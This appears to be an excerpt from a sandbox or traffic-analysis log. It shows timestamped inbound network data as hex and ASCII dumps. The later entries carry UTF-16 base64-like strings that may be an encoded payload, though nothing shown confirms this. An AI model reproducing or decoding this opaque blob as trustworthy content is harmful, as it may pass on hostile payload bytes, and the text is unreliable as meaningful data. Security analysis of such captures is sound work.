2021-12-28 04:19:03 UTC	186	IN	Data Raw: dd 04 6e e0 9c be 51 26 de ed 6f b1 1e b3 98 94 fa 5e 75 dd 4c 54 68 51 0f 2c ec 75 82 3c 52 3b 53 a6 20 48 8c 85 08 4e db c9 d8 36 3d 8f 7a 41 ce 8b f5 a1 b3 b7 5c 55 ee 8d ce 8c 42 5e 32 f6 73 73 cd d6 28 19 8a cb 91 9e 9a 22 af 48 cd 39 47 e3 c6 49 25 54 f2 7f 36 75 3f 67 d1 6f 62 f5 14 5a f9 52 cf f8 99 1d 9c f3 cb e3 b1 c9 af ab 90 a7 4e e9 68 54 db 2a aa ee 97 82 de fd 28 17 70 12 4a aa 2c 28 f1 48 58 5a 8b 24 e5 e2 48 fc c6 7c 9e fd 91 3f 97 fc 08 ec 1c 31 57 72 23 61 bd 60 e1 f7 61 43 12 a6 6e 0e 41 a2 58 58 b3 b7 2f 6e 2f 04 e0 07 40 24 a7 8e f9 79 d9 7b 46 d9 5f ac 3f 29 ef dc 62 e4 8d d2 fe 7a f2 cc e4 67 92 16 fd ac e6 42 d2 07 6b 98 5f a6 6d 6f 0f 5d f3 f2 b1 1d 42 9f 71 e4 5f 1b 29 01 9b 0d 06 be c0 57 c2 9e 40 e6 d3 bd 21 26 f0 d4 d6 02 21 Data Ascii: nQ&o^uLThQ,u<R;S HN6=zA\UB^2ss("H9GI%T6u?gobZRNhT*(pJ,(HXZ$H\|?1Wr#a`aCnAXX/n/@$y{F_?)bzgBk_mo]Bq_)W@!&!
2021-12-28 04:19:03 UTC	190	IN	Data Raw: 1f 5e e9 8e 49 01 84 0e cc 7a f8 62 64 a7 02 0a c7 7d 41 d5 f8 a6 7d 95 66 65 23 59 a9 15 ec 09 b1 a6 d1 89 c9 c2 7a db e9 69 af b4 cb b3 e4 5a 6c a8 80 5a 98 aa 8f a8 27 21 f7 fc a7 c1 2a c7 ff ad b9 6a 6d 67 ed 57 cc 81 32 65 d9 0b c0 6b 28 a1 a3 b2 0f 5e 38 70 a4 f7 f5 41 72 c3 36 64 f8 16 ef fb a2 eb 7d 84 bc c6 82 24 d9 8b c2 25 33 0e ca fb 94 bf 0a f5 ca ad 60 82 24 32 0a 05 92 30 02 81 fb d4 f5 09 9d 93 7f 15 22 ce 79 b3 7d ef a9 43 3b 3f 42 1c 2a d8 a8 6c 91 e8 8d a1 ec 32 29 42 62 57 96 89 b7 a0 b2 ee ea d8 c8 17 02 cc b8 53 4e 8f b8 e1 32 ad c8 fe 52 11 41 e9 b3 91 ea d1 50 85 5c 7a 32 88 91 6e 74 60 bd 78 b7 4b 5f 5e 9a 5c e2 41 44 c1 30 28 52 7c 7e 0f 08 88 4e 2a 95 0a 17 b9 38 45 87 f7 0f 48 06 43 bc 30 e4 4b 75 cc d5 54 52 b6 94 66 10 58 f5 Data Ascii: ^Izbd}A}fe#YziZlZ'!jmgW2ek(^8pAr6d}$%3`$20"y}C;?Bl2)BbWSN2RAP\z2nt`xK_^\AD0(R\|~N*8EHC0KuTRfX
2021-12-28 04:19:03 UTC	193	IN	Data Raw: 4b 33 7c 1c d6 2c ec d3 20 69 42 c5 ac a4 a4 72 eb 9e 29 75 16 f8 2c 61 c5 82 05 3f 02 c5 f7 a1 01 23 84 a1 40 20 bb 04 30 c4 18 cd ba 66 12 eb 75 d5 2c 09 e8 73 1b 5f 17 65 7f cc ad dc 52 a9 50 02 e2 06 c8 84 dd 0d be ea 4c 4b c6 a6 b9 0e a5 42 fe 31 89 5a 29 51 70 00 5e 70 45 51 33 bb 77 17 78 2a c4 0a cd ce 8b 6e a3 58 37 ed 97 0a e9 23 e4 ae 30 bf d8 34 f5 fb 0d 91 a0 67 6e b9 08 5e 53 d5 35 00 ac 9e 69 31 73 87 28 af af 97 0b 04 54 b3 45 86 4b e9 c7 47 ec f8 d0 cd d2 bd 99 04 11 83 55 da db b8 7b a7 bd 78 f4 be 7f b2 7a 98 97 dd 6f 75 33 50 ac b8 72 99 3a d2 87 aa cd 46 2b 1f 00 75 fc 6a ac 93 40 bb ad 7c 99 34 9f 0b 4d 8a 2c c8 a1 b5 5b b9 f6 dc 4d 58 c1 83 24 a1 7b a4 61 69 38 cc 0b ee 41 14 53 3f 5a fd 6d 11 28 61 e1 9b 6f 6c f5 64 19 ae 31 24 67 Data Ascii: K3\|, iBr)u,a?#@ 0fu,s_eRPLKB1Z)Qp^pEQ3wx*nX7#04gn^S5i1s(TEKGU{xzou3Pr:F+uj@\|4M,[MX${ai8AS?Zm(aold1$g
2021-12-28 04:19:03 UTC	197	IN	Data Raw: 21 ce 15 6b 30 94 87 91 9b 18 a8 eb 11 6d 5b ac 12 45 a1 dd 3a c4 d4 86 1a bb 1c 8e d6 9a 8b 72 96 bf 35 4c 33 a3 f8 a7 26 c6 f6 70 55 93 39 b5 33 c9 15 76 8b ed 0c d2 a4 7a de a9 12 02 4e 00 f5 be 57 bb f8 00 74 3f d3 e8 5c 11 67 41 6d c9 e6 c9 22 75 4e f8 5c 13 b9 7b c4 ec 67 de cf 1d 40 a7 5c 0b c6 87 82 d7 93 f4 21 ca 01 86 82 95 81 fc c1 99 30 5a 75 b7 50 d7 fc a1 3a f7 ee c3 35 e7 ee 48 da bc 66 f4 30 fd 29 4a 7d 9b dd 0d 6f a1 32 c4 53 eb 7d f4 33 61 43 7b 5a f6 97 ee 38 11 7f 28 7e d8 8c 41 30 8a 06 cd 49 2e 37 d8 49 3c 9e cd dc dc a3 3d 47 bd 34 16 1b ee b8 02 66 4c 9d 6b b0 5e 22 94 3a bb b1 67 16 44 43 7c 6a d9 ee 95 bd d8 e7 d6 23 25 e4 b1 2f 86 89 ee da d3 33 07 49 9d 8c 83 52 22 6d 5a 9b 50 d8 82 8b 2c ba 14 60 2a 5e 11 09 63 81 cf 32 f4 7a Data Ascii: !k0m[E:r5L3&pU93vzNWt?\gAm"uN\{g@\!0ZuP:5Hf0)J}o2S}3aC{Z8(~A0I.7I<=G4fLk^":gDC\|j#%/3IR"mZP,`*^c2z
2021-12-28 04:19:03 UTC	201	IN	Data Raw: 77 4c c2 28 6d a5 f1 6a 7f 1e 2f 45 94 ba 8d 67 91 07 3a e2 07 d2 a6 3d 8e 51 da 4e 6b b5 ee 91 b7 fc 54 b5 19 fd 05 88 27 cb 46 bf 0d e8 6b a7 15 57 bf 14 cd 80 f7 5f 82 00 7e 92 06 72 0f ca b3 12 7f 9f ee e4 09 81 9f fe 4b 79 e6 c4 c4 52 51 56 56 16 72 cc ac c3 3e bf e1 61 41 9e cd 6b 37 33 73 01 f5 1d 9c ce 66 6d 0b 05 50 76 1e d2 1f 70 2b 24 40 51 35 33 de 45 7b 7b 01 c8 d5 e0 d6 68 54 3b 59 87 33 50 65 38 10 9f 87 a4 cb 94 80 09 07 68 1d 7d 0c f2 22 96 34 7c 30 94 f4 cd 45 d4 c8 25 88 29 60 d8 84 9d a1 0e d2 8b e3 ca 93 d3 16 29 a7 7d 3e 58 8e 65 e6 f7 0b a3 66 48 f0 47 52 50 11 b3 ee 05 2b a7 fe 0b f2 d6 89 43 ce 2f e0 6b 01 cf 3f 59 d1 3f a8 eb 82 cf 7b 7e 76 d6 70 f7 53 93 2d 03 0c 9f 50 4e e4 8d c2 44 76 e9 ab 94 09 5b 24 4c 11 e9 2e 0b 59 e1 10 Data Ascii: wL(mj/Eg:=QNkT'FkW_~rKyRQVVr>aAk73sfmPvp+$@Q53E{{hT;Y3Pe8h}"4\|0E%)`)}>XefHGRP+C/k?Y?{~vpS-PNDv[$L.Y
2021-12-28 04:19:03 UTC	206	IN	Data Raw: 0d 0d d5 af 78 90 ba 02 fc e4 92 a4 69 3c e2 37 68 99 8d 7f 3e 5b d0 3b d3 9d 94 87 a4 f0 45 86 f3 6a e9 d6 53 c0 ca 70 79 c0 ff a9 3b 5e 96 7c 6d 1b f2 98 54 ef 08 22 30 4a e3 97 c9 dc 71 38 6d 41 2c cc ab 3f 2a 46 45 70 61 b4 c7 c3 3d 90 9a c8 e3 04 7c 8b 3f ac e7 d1 a2 65 ec 19 f8 f5 c3 9d 29 07 a9 df ea c6 8c a5 d6 4f 78 74 6d eb 7b cb b5 c0 bc 7e 47 c7 50 5e 3d 09 d0 2a e2 55 b6 0d f0 83 12 a6 fc 74 e5 78 c4 87 b1 61 d7 a9 9a a7 89 02 6f 81 42 d0 5f 79 8e d4 6f 14 5c e2 93 6f aa db d7 7a 00 d6 8f f5 41 c3 e7 e3 4f 4c 3f e2 9c cf 0e 11 bc 0d 80 5f ce a2 cb fe 18 7e 9c bd 1e b3 d5 09 b4 0c 4a 74 66 fa c9 f7 b2 73 41 c1 26 12 78 72 53 ab 68 6a 60 c4 b3 e9 f7 57 1b c2 0d 33 97 1f eb a0 81 47 7d 23 fc a5 6a 8b 35 5e e4 61 c5 a2 40 e8 c3 4d bc b0 9b 1f fa Data Ascii: xi<7h>[;EjSpy;^\|mT"0Jq8mA,?FEpa=\|?e)Oxtm{~GP^=UtxaoB_yo\ozAOL?_~JtfsA&xrShj`W3G}#j5^a@M
2021-12-28 04:19:03 UTC	210	IN	Data Raw: 9a c3 eb 85 c5 73 34 04 17 d6 5c 9f 8d ba b6 20 66 d6 86 e4 a3 22 50 0b a7 41 81 25 f9 8f 21 b3 8b 25 50 33 ce c1 36 a7 66 ea 7a 36 b9 87 aa 21 a6 3f 27 10 6c cc 0f c5 21 48 91 a7 45 71 bc 57 8f 89 8f 79 fc d6 30 b0 1e cb a9 22 62 8c 74 9f a6 f3 8d 84 48 1e 5b fa 6d d5 93 47 10 02 f6 d1 8d 01 ab 1b a9 e6 e7 42 73 93 a1 2b 7e 76 41 8c fc 0e 16 17 7b 79 5d 4d a1 cc a4 b7 90 da fc 58 ce 33 ea 12 01 a2 c7 65 a3 04 41 5d 7f aa b7 b1 ed 4a 4e c3 df be ed 77 83 eb cd 69 e3 78 e7 71 01 a2 08 05 c6 3d 83 0c 82 b4 f2 d0 bc 72 3a 4f b5 de c2 8e 93 3b 00 7e 05 d4 73 21 83 87 88 a3 10 6b dc 8d cd b6 66 00 cd aa e5 8e 32 ac de 1a 93 e8 8a 9a c6 34 1d d1 23 1d 49 a8 fd 46 3c 1b f5 02 6d f4 7a d7 5e 76 bd 30 3c 30 0f 8e c7 c6 6e 3f be cb 6c ed f7 03 34 56 e7 a6 5b 4e d5 Data Ascii: s4\ f"PA%!%P36fz6!?'l!HEqWy0"btH[mGBs+~vA{y]MX3eA]JNwixq=r:O;~s!kf24#IF<mz^v0<0n?l4V[N
2021-12-28 04:19:03 UTC	214	IN	Data Raw: 18 2e 9c e5 51 53 d0 86 91 4d e7 c0 64 b9 55 f9 27 33 16 9a ca c3 f3 ad 22 56 6d b8 93 29 29 47 14 04 6b 71 5f 64 c1 27 66 a6 b2 af ac e9 61 1a 7b 05 85 d9 aa 1b 64 07 d6 da b6 65 6d bb f7 49 a5 30 32 0d 9b 77 70 d9 2e dc e6 1b 25 e1 12 ab 9d 67 ff 52 18 e2 69 22 c3 f2 e5 48 bf e8 98 e8 16 7c e7 75 19 fe fc 1c 49 01 27 b0 4f 3a 3c b8 ee b4 f9 dd 47 1f 6c 11 61 2a e3 72 b3 17 48 89 31 01 2e 19 ea ba 01 70 f5 db 2d fe bf 7a 68 08 4b 28 37 51 e5 c2 3e 74 e7 d0 4c 2e e7 73 78 5f 80 2e dd 74 ec 6d 74 da 7f 00 c5 e8 6e 03 2e 15 fb 36 68 bf d7 8d db dd 19 69 57 2d 53 29 00 f4 c7 33 be 4a e3 e5 07 f4 18 19 ef 26 e1 4a 20 0e 1d 78 92 40 e7 a8 76 84 ce 02 a4 79 b8 7d d9 71 dd 31 90 5f 52 d8 f9 81 82 95 82 4a 86 2a b6 53 64 cd f8 e5 a4 d2 8e 5c 45 bd 01 59 a5 76 fb Data Ascii: .QSMdU'3"Vm))Gkq_d'fa{demI02wp.%gRi"H\|uI'O:<GlarH1.p-zhK(7Q>tL.sx_.tmtn.6hiW-S)3J&J x@vy}q1_RJSd\EYv
2021-12-28 04:19:03 UTC	225	IN	Data Raw: cf 42 bd 27 4f dc 7b 89 57 10 e4 38 e3 e1 17 a2 d5 0d f6 5d bc 0b 65 2d bb 3e 8f 41 98 64 30 f4 c3 aa 2f e4 3d ba d7 a8 23 db 6b ea 8e 38 c2 b8 2f 46 b1 fe c1 28 ad 7e bb 8a 98 ac d2 55 06 de 8d 7b 99 c2 de b3 d0 2e b1 75 49 12 37 4d d0 95 c1 de ca a5 42 6c 60 27 8b 47 e6 f2 c0 07 9f 17 06 fb 51 ff 75 59 02 7e a1 51 c1 79 39 38 45 b7 33 0f d2 22 eb ed 30 19 2c 65 76 54 50 84 64 be 3d 28 d8 5a 25 3c 71 d4 54 47 de b7 6f 23 86 9a 81 ae 33 fa 95 33 02 b3 7f c0 b4 a0 5f 82 8d 90 8f 5d a6 47 2d 41 57 f1 21 ff 2b 3e 27 55 9a 8c f2 54 0a 64 aa e3 2c 32 15 39 4b 8c ca b9 ec 34 8d e6 13 96 56 5c 6d 72 bd fa a4 b8 74 4e a0 ef 8c 1c a0 15 6b ba 51 a5 e0 fd 01 f7 cc 16 08 9a d0 75 c4 db df 7b d0 7a cc 1e ac 9e a1 da 73 af c4 72 1d d4 65 74 50 49 c1 3c f7 5e 2e da 90 Data Ascii: B'O{W8]e->Ad0/=#k8/F(~U{.uI7MBl`'GQuY~Qy98E3"0,evTPd=(Z%<qTGo#33_]G-AW!+>'UTd,29K4V\mrtNkQu{zsretPI<^.
2021-12-28 04:19:03 UTC	230	IN	Data Raw: 03 0f 8f ae 9e c7 7f 9c bd cb 9b 1e d4 26 33 44 c8 b2 c2 9a 8d fd 64 44 c0 e7 5d ee 53 8b 97 0e 49 3d 63 87 07 79 59 c0 79 bf 77 8a cf 2a e5 95 c6 6d 4a 2e ee fd 17 53 f6 87 99 51 d3 77 47 9c 4e 13 f7 f5 f9 f1 8a 07 12 d1 60 17 eb 0c f6 2e 42 f9 24 fb 3d 09 ce 2c 3f 07 23 d4 eb 1c 45 86 3c 06 07 96 d9 aa eb 49 3c b8 0c 5c e9 07 73 7c 2d 8b f2 2f 1b 31 2c 6c 15 58 8a ed a6 10 72 0a 86 f2 30 2f 3b b1 db c1 c9 64 af f2 c8 bb 17 ed a0 9e 52 80 a7 2d 48 28 86 28 eb 69 c7 91 b0 03 f7 0d 60 7a 7b ff 3b ac 7a 05 91 65 2d 6d 99 ae d1 a8 e7 01 3e e6 58 f1 3b ce 04 f8 bd 6e 3a cc 84 8f 93 6d 29 05 ff 95 9e 82 54 8f d2 d2 97 77 13 cc 77 aa 81 1f fb 3e a0 b9 68 ae bb 87 07 b9 85 f5 cb 79 f5 da c9 5d fc 61 ef 7a e0 f1 1c 3b 17 ed 30 c9 4f b6 ed 7b 4f 43 15 ad d6 b0 fa Data Ascii: &3DdD]SI=cyYyw*mJ.SQwGN`.B$=,?#E<I<\s\|-/1,lXr0/;dR-H((i`z{;ze-m>X;n:m)Tww>hy]az;0O{OC
2021-12-28 04:19:03 UTC	246	IN	Data Raw: 08 7b 2c 83 3e 16 12 d0 60 de 03 73 e9 ee 7e 9e 0e a0 7c 61 cd 03 e9 33 06 7c 39 ad 06 5c 0f 32 fc 64 85 0c bd 1e 59 e9 fe 4f d6 fa 90 e9 5f 49 26 bc ec bd 3c d0 e3 b4 80 c4 71 a8 d1 7b 35 88 6d d8 7d 44 6d 03 d3 62 34 25 6a ab d2 ab bc 0c 2b b0 a2 4e 95 18 c6 2d b7 67 3c f1 23 37 ec 8d 83 05 11 30 95 24 e9 fb 1b 28 9e ae 88 ec 7c 4b ef 0d 8a 07 b9 e1 69 aa 74 2a b0 f3 74 ab 80 16 0f b9 dd ad f8 9c e2 18 22 33 a5 64 e1 93 0c 5b b3 a0 9a b7 42 d2 71 8c dd 61 0e f6 07 f4 74 47 c2 81 a7 49 5a 9b b2 68 53 20 54 1a 7b 8f 43 c1 d0 a5 7e e8 53 b7 82 ba b3 e8 35 9e 21 ea f7 a3 70 39 68 7c 5c 4e e4 9d 8e 40 d6 a7 f4 27 25 e4 79 67 d7 09 e3 00 01 22 1a bb 0b 5e 92 5b 6c 36 55 91 86 d1 ca 36 b6 05 16 ef 44 8c 1b 39 6a 22 63 d7 0b db 25 e6 6a ed b2 d6 3e e6 65 bc 9e Data Ascii: {,>`s~\|a3\|9\2dYO_I&<q{5m}Dmb4%j+N-g<#70$(\|Kit*t"3d[BqatGIZhS T{C~S5!p9h\|\N@'%yg"^[l6U6D9j"c%j>e
2021-12-28 04:19:03 UTC	257	IN	Data Raw: 00 33 00 2b 00 52 00 5a 00 4d 00 41 00 65 00 4b 00 37 00 34 00 51 00 51 00 55 00 62 00 4c 00 79 00 43 00 6a 00 41 00 61 00 49 00 30 00 78 00 72 00 6c 00 2f 00 4b 00 5a 00 71 00 6b 00 41 00 73 00 72 00 59 00 58 00 43 00 74 00 73 00 65 00 49 00 38 00 49 00 30 00 49 00 52 00 31 00 68 00 64 00 6e 00 32 00 35 00 56 00 4c 00 65 00 7a 00 6b 00 67 00 4e 00 6d 00 53 00 47 00 46 00 55 00 48 00 46 00 4e 00 47 00 33 00 62 00 77 00 6c 00 39 00 69 00 6d 00 4d 00 52 00 35 00 77 00 63 00 6c 00 77 00 33 00 66 00 45 00 49 00 47 00 54 00 4d 00 63 00 61 00 43 00 62 00 57 00 76 00 61 00 48 00 49 00 45 00 31 00 35 00 76 00 42 00 61 00 67 00 5a 00 39 00 7a 00 75 00 63 00 64 00 2b 00 49 00 41 00 74 00 32 00 51 00 75 00 63 00 62 00 52 00 56 00 57 00 31 00 74 00 38 00 4a 00 67 00 Data Ascii: 3+RZMAeK74QQUbLyCjAaI0xrl/KZqkAsrYXCtseI8I0IR1hdn25VLezkgNmSGFUHFNG3bwl9imMR5wclw3fEIGTMcaCbWvaHIE15vBagZ9zucd+IAt2QucbRVW1t8Jg
2021-12-28 04:19:03 UTC	273	IN	Data Raw: 00 45 00 68 00 4a 00 6b 00 38 00 65 00 53 00 53 00 30 00 38 00 73 00 53 00 79 00 74 00 78 00 57 00 73 00 46 00 45 00 74 00 72 00 44 00 2b 00 56 00 30 00 65 00 57 00 52 00 4e 00 72 00 76 00 6b 00 34 00 33 00 45 00 4f 00 70 00 6e 00 4f 00 4a 00 35 00 2f 00 32 00 72 00 55 00 50 00 64 00 44 00 6d 00 66 00 4f 00 47 00 49 00 5a 00 53 00 71 00 67 00 66 00 6f 00 66 00 70 00 54 00 36 00 48 00 51 00 4c 00 74 00 53 00 37 00 50 00 74 00 66 00 48 00 6f 00 30 00 61 00 52 00 56 00 38 00 4a 00 57 00 4d 00 65 00 4d 00 55 00 43 00 67 00 77 00 30 00 67 00 49 00 66 00 32 00 54 00 46 00 6e 00 30 00 65 00 42 00 65 00 69 00 6b 00 70 00 35 00 4c 00 68 00 5a 00 79 00 66 00 5a 00 45 00 35 00 59 00 6f 00 38 00 76 00 67 00 31 00 37 00 6e 00 73 00 4c 00 35 00 43 00 63 00 79 00 6a 00 Data Ascii: EhJk8eSS08sSytxWsFEtrD+V0eWRNrvk43EOpnOJ5/2rUPdDmfOGIZSqgfofpT6HQLtS7PtfHo0aRV8JWMeMUCgw0gIf2TFn0eBeikp5LhZyfZE5Yo8vg17nsL5Ccyj
2021-12-28 04:19:03 UTC	289	IN	Data Raw: 00 77 00 67 00 75 00 47 00 53 00 58 00 69 00 6c 00 38 00 64 00 75 00 74 00 53 00 48 00 68 00 4d 00 74 00 79 00 38 00 71 00 52 00 6e 00 69 00 63 00 52 00 61 00 37 00 52 00 41 00 4f 00 4f 00 61 00 69 00 54 00 41 00 33 00 64 00 71 00 31 00 52 00 38 00 47 00 4d 00 7a 00 4d 00 78 00 75 00 4e 00 41 00 78 00 34 00 2b 00 6b 00 38 00 51 00 36 00 44 00 43 00 33 00 2b 00 6f 00 6d 00 30 00 45 00 34 00 36 00 68 00 78 00 4b 00 5a 00 6d 00 70 00 56 00 77 00 6a 00 47 00 56 00 32 00 45 00 43 00 36 00 2f 00 51 00 71 00 74 00 44 00 31 00 79 00 38 00 57 00 49 00 72 00 79 00 56 00 4b 00 36 00 65 00 2b 00 77 00 4f 00 4e 00 56 00 4c 00 55 00 63 00 74 00 5a 00 2f 00 4e 00 46 00 66 00 71 00 36 00 2b 00 30 00 71 00 50 00 56 00 74 00 4e 00 6e 00 4a 00 49 00 4a 00 36 00 50 00 45 00 Data Ascii: wguGSXil8dutSHhMty8qRnicRa7RAOOaiTA3dq1R8GMzMxuNAx4+k8Q6DC3+om0E46hxKZmpVwjGV2EC6/QqtD1y8WIryVK6e+wONVLUctZ/NFfq6+0qPVtNnJIJ6PE
2021-12-28 04:19:03 UTC	305	IN	Data Raw: 00 33 00 7a 00 49 00 49 00 38 00 31 00 77 00 72 00 34 00 42 00 41 00 58 00 67 00 48 00 2b 00 4d 00 58 00 77 00 48 00 43 00 44 00 31 00 5a 00 59 00 6f 00 54 00 55 00 65 00 72 00 77 00 57 00 63 00 79 00 33 00 69 00 68 00 33 00 4b 00 61 00 45 00 36 00 6f 00 57 00 35 00 44 00 70 00 62 00 43 00 70 00 65 00 49 00 6c 00 56 00 75 00 79 00 46 00 62 00 46 00 70 00 78 00 37 00 2b 00 44 00 46 00 48 00 7a 00 46 00 48 00 42 00 4f 00 61 00 6c 00 69 00 4f 00 4a 00 4a 00 78 00 35 00 33 00 78 00 68 00 73 00 67 00 6f 00 50 00 67 00 45 00 6c 00 6a 00 31 00 6f 00 53 00 59 00 71 00 52 00 6a 00 76 00 4d 00 50 00 67 00 61 00 4a 00 73 00 4f 00 6a 00 36 00 52 00 70 00 56 00 4a 00 57 00 6b 00 75 00 46 00 46 00 6d 00 78 00 36 00 37 00 66 00 47 00 5a 00 48 00 31 00 4e 00 33 00 42 00 Data Ascii: 3zII81wr4BAXgH+MXwHCD1ZYoTUerwWcy3ih3KaE6oW5DpbCpeIlVuyFbFpx7+DFHzFHBOaliOJJx53xhsgoPgElj1oSYqRjvMPgaJsOj6RpVJWkuFFmx67fGZH1N3B
2021-12-28 04:19:03 UTC	321	IN	Data Raw: 00 69 00 74 00 38 00 2f 00 54 00 37 00 4f 00 4e 00 6e 00 6d 00 4b 00 31 00 45 00 35 00 44 00 51 00 48 00 51 00 44 00 46 00 44 00 43 00 30 00 42 00 69 00 74 00 55 00 2b 00 76 00 47 00 2b 00 56 00 55 00 78 00 33 00 52 00 7a 00 2f 00 56 00 36 00 32 00 79 00 4b 00 76 00 64 00 44 00 63 00 30 00 6f 00 6e 00 69 00 2b 00 43 00 44 00 48 00 57 00 39 00 61 00 68 00 32 00 6e 00 78 00 6c 00 71 00 79 00 6d 00 32 00 38 00 6d 00 36 00 51 00 43 00 6c 00 75 00 56 00 51 00 6b 00 41 00 45 00 6c 00 34 00 4d 00 79 00 75 00 74 00 51 00 73 00 39 00 72 00 7a 00 5a 00 68 00 6c 00 67 00 63 00 48 00 73 00 48 00 6c 00 65 00 72 00 78 00 44 00 35 00 6e 00 2f 00 30 00 44 00 79 00 7a 00 4c 00 53 00 70 00 6f 00 41 00 54 00 7a 00 58 00 76 00 45 00 4e 00 58 00 46 00 6b 00 4d 00 75 00 43 00 Data Ascii: it8/T7ONnmK1E5DQHQDFDC0BitU+vG+VUx3Rz/V62yKvdDc0oni+CDHW9ah2nxlqym28m6QCluVQkAEl4MyutQs9rzZhlgcHsHlerxD5n/0DyzLSpoATzXvENXFkMuC
2021-12-28 04:19:03 UTC	337	IN	Data Raw: 00 4b 00 43 00 32 00 51 00 5a 00 51 00 2f 00 44 00 75 00 5a 00 57 00 44 00 4f 00 32 00 45 00 37 00 79 00 59 00 41 00 39 00 51 00 2b 00 76 00 53 00 45 00 6a 00 57 00 41 00 34 00 48 00 6f 00 74 00 43 00 43 00 56 00 39 00 38 00 53 00 6a 00 4b 00 33 00 55 00 2b 00 71 00 36 00 6f 00 32 00 72 00 50 00 79 00 30 00 45 00 77 00 63 00 48 00 37 00 6f 00 77 00 67 00 2f 00 33 00 35 00 4d 00 2f 00 73 00 41 00 36 00 4a 00 72 00 74 00 4b 00 4a 00 4c 00 71 00 41 00 63 00 49 00 2b 00 4f 00 64 00 47 00 36 00 41 00 51 00 57 00 62 00 4d 00 69 00 6f 00 45 00 76 00 74 00 37 00 75 00 67 00 53 00 42 00 50 00 64 00 79 00 36 00 59 00 65 00 6a 00 51 00 53 00 71 00 46 00 71 00 4c 00 67 00 42 00 54 00 38 00 55 00 56 00 75 00 53 00 5a 00 35 00 69 00 49 00 42 00 6e 00 52 00 50 00 6d 00 Data Ascii: KC2QZQ/DuZWDO2E7yYA9Q+vSEjWA4HotCCV98SjK3U+q6o2rPy0EwcH7owg/35M/sA6JrtKJLqAcI+OdG6AQWbMioEvt7ugSBPdy6YejQSqFqLgBT8UVuSZ5iIBnRPm
2021-12-28 04:19:03 UTC	353	IN	Data Raw: 00 4d 00 4b 00 4c 00 4f 00 58 00 41 00 6f 00 31 00 53 00 62 00 53 00 33 00 78 00 6c 00 71 00 44 00 65 00 61 00 36 00 2f 00 52 00 30 00 33 00 45 00 43 00 73 00 48 00 72 00 53 00 58 00 4c 00 4b 00 56 00 72 00 43 00 57 00 79 00 6b 00 5a 00 66 00 43 00 79 00 53 00 6c 00 35 00 4f 00 6b 00 79 00 78 00 42 00 66 00 51 00 4f 00 79 00 63 00 33 00 67 00 4b 00 47 00 62 00 4a 00 42 00 48 00 2f 00 59 00 6d 00 32 00 2f 00 45 00 30 00 78 00 2f 00 4b 00 32 00 54 00 4a 00 4f 00 45 00 5a 00 61 00 69 00 70 00 78 00 62 00 44 00 77 00 34 00 74 00 6c 00 62 00 75 00 58 00 6c 00 49 00 56 00 6e 00 35 00 74 00 61 00 4a 00 33 00 6e 00 44 00 6e 00 79 00 42 00 70 00 37 00 54 00 4e 00 79 00 51 00 64 00 36 00 7a 00 5a 00 4e 00 4a 00 37 00 41 00 73 00 64 00 77 00 52 00 7a 00 43 00 6c 00 Data Ascii: MKLOXAo1SbS3xlqDea6/R03ECsHrSXLKVrCWykZfCySl5OkyxBfQOyc3gKGbJBH/Ym2/E0x/K2TJOEZaipxbDw4tlbuXlIVn5taJ3nDnyBp7TNyQd6zZNJ7AsdwRzCl
2021-12-28 04:19:03 UTC	369	IN	Data Raw: 00 64 00 63 00 75 00 4c 00 64 00 49 00 59 00 72 00 79 00 44 00 4e 00 2b 00 2f 00 6f 00 6a 00 78 00 6c 00 42 00 61 00 56 00 68 00 46 00 4f 00 57 00 6f 00 76 00 6c 00 56 00 78 00 46 00 48 00 74 00 73 00 55 00 42 00 31 00 56 00 64 00 7a 00 50 00 5a 00 6a 00 65 00 64 00 6d 00 76 00 56 00 59 00 53 00 4b 00 75 00 2f 00 46 00 73 00 36 00 76 00 48 00 70 00 76 00 56 00 53 00 34 00 2b 00 33 00 5a 00 76 00 46 00 71 00 67 00 4a 00 58 00 2f 00 66 00 70 00 4d 00 65 00 30 00 39 00 2b 00 37 00 34 00 61 00 34 00 77 00 57 00 35 00 34 00 7a 00 51 00 4a 00 47 00 46 00 49 00 64 00 51 00 41 00 54 00 32 00 62 00 31 00 7a 00 73 00 4a 00 2b 00 31 00 76 00 6a 00 33 00 47 00 52 00 39 00 74 00 6b 00 50 00 55 00 36 00 6a 00 76 00 72 00 52 00 35 00 69 00 59 00 45 00 36 00 76 00 79 00 Data Ascii: dcuLdIYryDN+/ojxlBaVhFOWovlVxFHtsUB1VdzPZjedmvVYSKu/Fs6vHpvVS4+3ZvFqgJX/fpMe09+74a4wW54zQJGFIdQAT2b1zsJ+1vj3GR9tkPU6jvrR5iYE6vy
2021-12-28 04:19:03 UTC	385	IN	Data Raw: 00 51 00 2b 00 69 00 4c 00 6d 00 71 00 4b 00 48 00 72 00 5a 00 2b 00 67 00 70 00 56 00 46 00 54 00 61 00 73 00 6f 00 30 00 65 00 6e 00 49 00 79 00 2f 00 67 00 45 00 51 00 34 00 4a 00 6d 00 61 00 64 00 4f 00 66 00 6f 00 2b 00 76 00 63 00 76 00 32 00 6c 00 35 00 2b 00 6f 00 6a 00 55 00 6b 00 68 00 39 00 74 00 58 00 76 00 6b 00 2f 00 2f 00 4f 00 31 00 62 00 35 00 5a 00 4a 00 33 00 63 00 4e 00 38 00 30 00 38 00 6d 00 6a 00 4d 00 43 00 78 00 59 00 48 00 50 00 78 00 53 00 41 00 45 00 47 00 76 00 62 00 36 00 35 00 6f 00 4b 00 4f 00 62 00 4e 00 64 00 66 00 42 00 33 00 62 00 2f 00 66 00 30 00 78 00 70 00 63 00 37 00 2b 00 57 00 57 00 6a 00 32 00 48 00 68 00 30 00 2f 00 4f 00 39 00 34 00 7a 00 59 00 75 00 76 00 69 00 57 00 41 00 2b 00 53 00 78 00 75 00 4e 00 57 00 Data Ascii: Q+iLmqKHrZ+gpVFTaso0enIy/gEQ4JmadOfo+vcv2l5+ojUkh9tXvk//O1b5ZJ3cN808mjMCxYHPxSAEGvb65oKObNdfB3b/f0xpc7+WWj2Hh0/O94zYuviWA+SxuNW
